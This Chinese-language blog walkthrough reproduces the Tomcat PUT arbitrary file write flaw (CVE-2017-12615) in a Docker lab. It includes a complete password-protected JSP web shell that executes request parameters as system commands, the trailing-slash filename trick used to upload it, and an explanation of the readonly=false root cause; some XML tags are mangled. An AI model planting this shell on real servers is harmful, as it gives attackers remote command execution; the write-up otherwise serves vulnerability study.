Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现

前言

Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)
只要用到了该中间件&框架,且其版本处于漏洞版本之中,就会存在该漏洞。
Tomcat版本:7.0.0-7.0.79、8.5.19

环境搭建

前提:centos部署好docker,部署流程可参考这里

1.搜索漏洞镜像

语法:docker search 镜像名字

Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现_第1张图片

2.下载漏洞镜像

语法:docker pull 镜像名字

Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现_第2张图片

3.验证漏洞镜像是否下载成功

语法:docker images		//此命令会列出本地已下载的镜像

Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现_第3张图片

4.运行漏洞镜像

语法:docker run -d -p 8081:8080 镜像名字
-d	//后台运行
8081:8080	//主机端口号:容器端口号(后面实际访问的是主机端口号)

在这里插入图片描述

5.验证漏洞镜像是否运行成功

语法:docker ps	//列出当前运行的镜像

在这里插入图片描述

6.网页验证

网址:主机地址:主机端口号

如果docker部署在虚拟机,那主机地址就是虚拟机的地址
如果docker部署在服务器,那主机地址就是服务器的地址
主机端口号就是前面自己映射的端口号,在我这里就是8081

Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现_第4张图片

漏洞复现

1.浏览器设置代理(以IE为例)

Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现_第5张图片

2.启动burp抓包工具

Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现_第6张图片

3.重新刷新搭建好的环境

此时网页的请求会被burp抓取
Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现_第7张图片

4.将获取到的请求发送给Repeter进行修改

Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现_第8张图片
Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现_第9张图片
Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现_第10张图片
Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现_第11张图片

5.对请求进行修改

  • 填写jsp文件内容(直接复制粘贴)
<%
    if("magedu".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("
");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
"); } %> 注:第一行的magedu和pwd可以自行设置,主要用于后面的漏洞利用,格式为:pwd=magedu,可以理解为密码
  • 修改请求方法:GET–>PUT
  • 上传jsp文件,这里文件名我用的是1.jsp/(/一定要加,不然无法上传)
    Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现_第12张图片上传成功如下图显示
    如果提示错误,多半是文件名格式错误
    Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现_第13张图片

6.关闭服务器代理,利用shell执行命令

此时,i的值就是linux的命令,这里我用ls,pwd进行演示
Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现_第14张图片
Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)复现_第15张图片

漏洞原理

漏洞本质是 Tomcat 的 web.xml 配置了可写(readonly=false),导致我们可以往服务器写(PUT)文件:

<servlet>
	<servlet-name>defaultservlet-name>
	<servlet-class>org.apache.catalina.servlets.DefaultServletservlet-class>
	<init-param>
		<param-name>debugparam-name>
		<param-value>0param-value>
	init-param>
	<init-param>
		<param-name>listingsparam-name>
		<param-value>falseparam-value>
	init-param>
	<init-param>
		<param-name>readonlyparam-name>
		<param-value>falseparam-value>
	init-param>
	<load-on-startup>1load-on-startup>
servlet>

漏洞总结

tomcat本身不允许上传 jsp 文件,但是1.jsp/ 加了 / 就不是 jsp 文件,所以文件可以成功上传。系统保存文件时因为不能存在/字符,所以/被忽略了,所以文件名从 1.jsp/ -> 1.jsp,至此jsp文件完成了上传并保存。

你可能感兴趣的:(漏洞,tomcat)